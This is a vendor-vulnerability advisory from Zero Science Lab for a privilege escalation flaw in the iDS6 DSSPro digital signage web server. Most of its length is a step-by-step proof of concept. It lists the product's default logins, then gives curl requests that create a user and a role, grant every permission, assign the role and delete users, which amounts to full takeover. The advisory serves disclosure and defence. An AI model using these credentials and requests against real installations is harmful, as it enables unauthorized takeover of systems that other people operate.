iDS6 DSSPro Digital Signage System 6.2 Privilege Escalation

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iDS6 DSSPro Digital Signage System 6.2 Improper Access Control Privilege Escalation  
  
  
Vendor: Guangzhou Yeroo Tech Co., Ltd.  
Product web page: http://www.yerootech.com  
Affected version: V6.2 B2014.12.12.1220  
V5.6 B2017.07.12.1757  
V4.3  
  
Summary: iDS6 Software's DSSPro network digital signage management system  
is a web-based server software solution for Windows.  
  
Desc: The application suffers from a privilege escalation vulnerability.  
An authenticated user can elevate his/her privileges by calling JS functions  
from the console or by insecure direct object references to hidden functionalities  
that can result in creating users, modifying roles and permissions and full  
takeover of the application.  
  
Tested on: Microsoft Windows XP  
Microsoft Windows 7  
Microsfot Windows Server 2008  
Microsoft Windows Server 2012  
Microsoft Windows 10  
Apache Tomcat/8.0.44  
Apache Tomcat/6.0.35  
Apache-Coyote/1.1  
Apache Axis/1.4  
MySQL 5.5.25  
Java 1.8.0  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2020-5608  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5608.php  
  
  
16.07.2020  
  
--  
  
  
--------------------  
Default credentials:  
--------------------  
  
admin:123456 (id: n/k, access: /admin)  
boss:boss (id: 100001, access: /)  
user:user (id: 100002, access: /)  
  
  
----------------------------  
Once logged-in, create user:  
----------------------------  
  
In Console, once navigated to the Accounts->User page (http://192.168.1.88/Pages/user.action)  
Type: add()  
  
or issue a POST request:  
  
$ curl -d "user.userName=testingus&user.password=testingus" http://192.168.1.88/Pages/user\!addUser -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"  
  
  
--------------  
List user IDs:  
--------------  
  
$ curl -d "az=asc" http://192.168.1.88/Pages/user\!list -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"  
  
  
------------  
Create role:  
------------  
  
In Console, once navigated to the Accounts->Role page (http://192.168.1.88/Pages/role.action):  
Type: add()  
  
or issue a POST request:  
  
$ curl -d "role.roleName=ROLENAME&role.description=ROLEDESC" http://192.168.1.88/Pages/role\!add -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"  
  
  
--------------  
List role IDs:  
--------------  
  
$ curl -X POST http://192.168.1.88/Pages/role\!list -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"  
  
  
------------------------------------------  
Apply all permissions to the created role:  
------------------------------------------  
  
$ curl http://192.168.1.88/Pages/role\!updatePermissions -d "role.roleId={ROLE_ID}&privileges=2&privileges=1&privileges=3&privileges=4&privileges=7&privileges=6&privileges=5&privileges=12&privileges=8&privileges=13&privileges=9&privileges=10&privileges=11&privileges=14&privileges=16&privileges=15&privileges=17&privileges=18&privileges=21&privileges=33&privileges=32&privileges=34&privileges=35&privileges=36&privileges=37&privileges=23&privileges=22&privileges=24&privileges=41&privileges=47&privileges=46&privileges=48&privileges=49&privileges=50&privileges=51&privileges=52&privileges=53"  
  
  
------------------------------------  
Assign created role to created user:  
------------------------------------  
  
$ curl -d "user.userId={USER_ID}&roles={ROLE_ID}" http://192.168.1.88/Pages/user\!updateRole -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"  
  
  
------------  
Delete user:  
------------  
  
In Console, once navigated to the Accounts->User page (http://192.168.1.88/Pages/user.action), select desired username:  
Type: del()  
  
or issue a POST request:  
  
$ curl -d "userid={USER_ID}" http://192.168.1.88/Pages/user\!del -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=9619CDB08E026F6CDC4B7AED60729D3B"  
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